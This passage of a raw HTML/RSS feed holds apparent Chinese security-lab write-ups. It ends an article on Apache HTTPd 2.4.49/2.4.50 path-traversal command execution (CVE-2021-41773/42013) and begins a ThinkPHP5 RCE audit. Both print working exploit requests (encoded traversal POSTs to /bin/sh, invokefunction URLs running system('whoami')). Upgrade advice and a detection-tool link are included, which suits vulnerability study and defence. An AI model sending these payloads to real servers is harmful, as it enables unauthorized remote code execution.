0);white-space: normal;">POST数据包：</p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"> </p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">POST</span> /cgi-bin/<span class="code-snippet__number">%2</span>e%<span class="code-snippet__number">%32</span><span class="code-snippet__number">%65</span>/<span class="code-snippet__number">%2</span>e%<span class="code-snippet__number">%32</span><span class="code-snippet__number">%65</span>/<span class="code-snippet__number">%2</span>e%<span class="code-snippet__number">%32</span><span class="code-snippet__number">%65</span>/<span class="code-snippet__number">%2</span>e%<span class="code-snippet__number">%32</span><span class="code-snippet__number">%65</span>/<span class="code-snippet__number">%2</span>e%<span class="code-snippet__number">%32</span><span class="code-snippet__number">%65</span>/bin/sh HTTP/1.1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: host</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Connection</span>: close</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content</span>-Length: 13</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">echo</span>;ifconfig</span></code></pre></section><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"> </p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"> </p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;">Apache HTTPd 2.4.50 命令执行测试：</p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"> </p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3629807692307692" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=80e41518&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH9nicDpKMzHDSXwxTMIhUH4xyFvMjRKibbsKpqhCCAfZV2dMYPnlqId1Jib3cpKasAHoc1gxyGP4iaBfQ%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">POST</span> /cgi-bin/.%<span class="code-snippet__number">%32</span><span class="code-snippet__number">%65</span>/.%<span class="code-snippet__number">%32</span><span class="code-snippet__number">%65</span>/.%<span class="code-snippet__number">%32</span><span class="code-snippet__number">%65</span>/.%<span class="code-snippet__number">%32</span><span class="code-snippet__number">%65</span>/.%<span class="code-snippet__number">%32</span><span class="code-snippet__number">%65</span>/bin/sh HTTP/1.1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: host</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Connection</span>: close</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content</span>-Length: 13</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">echo</span>;ifconfig</span></code></pre></section><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"> </p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;">一个图片总结这次ApacheHTTPd 2.4.50版本修复不完善。</p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1" data-s="300,640" style="" data-type="png" data-w="718" src="https://wechat2rss.xlab.app/img-proxy/?k=22eafbdb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH9nicDpKMzHDSXwxTMIhUH4xSmic5nuBCGCbwA1H3m6M37IPk4bFJJ218p2TnJUoShadNZUFk8saTbg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><span style="color: rgb(0, 0, 0);font-size: medium;text-align: start;"></span><br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><br/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="white-space: normal;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__2" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(141, 141, 141)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">修复建议</span></strong></p></section></section></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="white-space: normal;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;">    建议使用Apache HTTPd 2.4.49 与<span style="color: rgb(0, 0, 0);font-family: DengXian;font-size: 14px;">A</span><span style="color: rgb(0, 0, 0);font-family: DengXian;font-size: 14px;">pache HTTPd 2.4</span><span style="color: rgb(0, 0, 0);font-family: DengXian;font-size: 14px;">.50 </span>版本的服务器更新Apache HTTPd 版本至最新。<br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><br/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"> </p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="white-space: normal;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(254, 254, 254)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__2" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-darkmode-color-16304617494654="rgb(141, 141, 141)" data-darkmode-original-color-16304617494654="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">检测工具</span></strong></p></section></section></section><section data-darkmode-bgcolor-16304617494654="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16304617494654="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); text-indent: 2em; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__3" style="white-space: normal;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 2em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><h2 style="font-family: 17px 0;line-height: 36.9067px;break-after: avoid;font-size: 21px;color: rgb(0, 0, 0);white-space: normal;"><span style="background: white;">Apache 2.4.49 (CVE-2021-41773)</span></h2><h2 style="font-family: 17px 0;line-height: 36.9067px;break-after: avoid;font-size: 21px;color: rgb(0, 0, 0);white-space: normal;"><span style="background: white;"> Apache 2.4.50 (CVE-2021-42013)</span></h2><h2 style="font-family: 17px 0;line-height: 36.9067px;break-after: avoid;font-size: 21px;color: rgb(0, 0, 0);white-space: normal;"><span style="background: white;">批量多线程检测工具：</span></h2><p><span style="background: white;"><br/></span></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;">Github地址：</p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><a href="https://github.com/inbug-team/CVE-2021-41773_CVE-2021-42013" target="_blank">https://github.com/inbug-team/CVE-2021-41773_CVE-2021-42013</a></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"> </p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.908237747653806" data-s="300,640" style="" data-type="png" data-w="1918" src="https://wechat2rss.xlab.app/img-proxy/?k=3cf0ccf3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH9nicDpKMzHDSXwxTMIhUH4xNRcKNSCeVrNgA5e881ygibWLRTMbz2fzUaFlmPTVfOeaz3TL12micmyQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.9052083333333333" data-s="300,640" style="" data-type="png" data-w="1920" src="https://wechat2rss.xlab.app/img-proxy/?k=213981ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH9nicDpKMzHDSXwxTMIhUH4xaiaRbJ7jw67at2uLrMrpib3FicgC9ZPX4B0KRkdMo2Uua8JgZ0ar6coKg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;font-family: DengXian;color: rgb(0, 0, 0);white-space: normal;"><br/></p>



<p><a href="2247484102">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c98abe61&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NjYwMTk0MA%3D%3D%26mid%3D2247484102%26idx%3D1%26sn%3D9f447d49332558770c53d91f4da4215b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 09 Oct 2021 14:01:00 +0800</pubDate>
    </item>
    <item>
      <title>Thinkphp5 RCE 代码审计</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NjYwMTk0MA==&amp;mid=2247484046&amp;idx=1&amp;sn=552a42f56a7ad6d134d97908374bf792</link>
      <description>对thinkphp5 控制器过滤不严导致的RCE漏洞进行了一次审计</description>
      <content:encoded><![CDATA[<p>
原创 <span>InBug实验室</span> <span>2021-08-31 18:25</span> <span style="display: inline-block;"></span>
</p>

<p>对thinkphp5 控制器过滤不严导致的RCE漏洞进行了一次审计</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ef0a90e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzK3gpoibICKclyr9h1g0njKIt5qj1vjdFI1F3YyYKAf6lHibOPF7eHicWw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">             <br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">前言</span></strong></p></section></section></section><section style="max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-indent: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><p><span style="font-size: 14px;">本着知其然，知其所以然的精神，对thinkphp5 控制器过滤不严导致的RCE漏洞进行了一次审计</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="markdown"><code><span class="code-snippet_outer">POC：</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">/thinkphp/public/?s=index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=phpinfo&amp;vars[1][]=1</span></code><code><span class="code-snippet_outer">/thinkphp_5.0.22/public/?s=index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=phpinfo&amp;vars[1][]=1</span></code><code><span class="code-snippet_outer">/thinkphp5.0.22/public/?s=index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=phpinfo&amp;vars[1][]=1</span></code><code><span class="code-snippet_outer">/thinkphp5.1.29/public/?s=index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=phpinfo&amp;vars[1][]=1</span></code><code><span class="code-snippet_outer">/thinkphp_5.1.29/public/?s=index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=phpinfo&amp;vars[1][]=1</span></code></pre></section><p><br/></p><p><span style="font-size: 14px;">影响版本：thinkphp 5.0.23及以下</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="markdown"><code><span class="code-snippet_outer">环境：phpstorm+xdebug</span></code><code><span class="code-snippet_outer">Thinkphp<span class="code-snippet__emphasis">_5.0.14_</span>full</span></code><code><span class="code-snippet_outer">phpstorm+xdebug环境可自行百度搭建</span></code><code><span class="code-snippet_outer">poc: ?s=index/think\app/invokefunction&amp;function=call<span class="code-snippet__emphasis">_user_</span>func_array&amp;vars[<span class="code-snippet__string">0</span>]=system&amp;vars[<span class="code-snippet__string">1</span>][<span class="code-snippet__symbol"></span>]=whoami</span></code></pre></section><p style="font-family: 0 0 0;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;">POC</span><span style="font-size: 14px;">效果：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4375" data-s="300,640" style="" data-type="png" data-w="832" 